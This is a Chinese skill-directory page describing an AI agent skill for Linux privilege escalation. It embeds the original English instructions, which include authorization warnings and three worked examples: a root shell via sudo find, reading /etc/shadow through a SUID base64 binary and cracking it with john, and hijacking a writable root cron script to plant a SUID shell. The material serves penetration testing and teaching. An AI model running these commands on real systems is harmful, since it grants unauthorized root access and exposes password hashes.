跳到正文
Skillpedia
安全48k · #5072

linux-privilege-escalation

它能做什么

这个工具可以帮助查找并利用 Linux 系统中的安全漏洞,从而获得管理员(root)权限。它就像一名侦探,专门寻找系统中没有锁好的“门”或敞开的“窗户”。

适用场景

  • ✓在获得授权的前提下,测试 Linux 系统的安全性。
  • ✓学习如何保护 Linux 系统。
  • ✓在受控的实验环境中用于教学目的。

技能链接

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/linux-privilege-escalation/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/linux-privilege-escalation/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我想检查一下,我的 Linux 系统是否可能被提权到 root 权限。”

每周 5 个新技能,1 分钟读完。

工作原理

这个工具会分析系统中的错误配置或存在漏洞的程序,判断普通用户能否获得管理员权限。它还可能尝试利用这些漏洞,以演示其中的风险。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Linux Privilege Escalation

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

  • Verify kernel exploits in test environment before production use
  • Failed kernel exploits may crash the system
  • Document all changes made during privilege escalation
  • Maintain access persistence only as authorized

Technical Limitations

  • Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
  • AppArmor/SELinux may restrict exploitation techniques
  • Container environments limit kernel-level exploits
  • Hardened systems may have restricted sudo configurations

Legal and Ethical Requirements

  • Written authorization required before testing
  • Stay within defined scope boundaries
  • Report critical findings immediately
  • Do not access data beyond scope requirements

Examples

Example 1: Sudo to Root via find

Scenario: User has sudo rights for find command

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: SUID base64 for Shadow Access

Scenario: base64 binary has SUID bit set

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt

Example 3: Cron Job Script Hijacking

Scenario: Root cron job executes writable script

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

常见问题

使用这个工具需要获得许可吗?

需要。使用之前,你必须获得系统所有者明确的书面授权。未经许可使用属于违法行为。

什么是 privilege escalation(权限提升)?

指的是获得比你原本拥有的权限更高的系统访问权限,比如从普通用户变成管理员(root)。

这个工具会损坏我的系统吗?

有可能,尤其是在尝试利用内核漏洞时。建议你在测试或实验环境中使用,并记录所有改动。

详情

作者的原始描述

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.

repo: sickn33/agentic-awesome-skills

热度

GitHub 星标
48k
排名
#5072
许可证
MIT
更新时间
2026/10/15

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能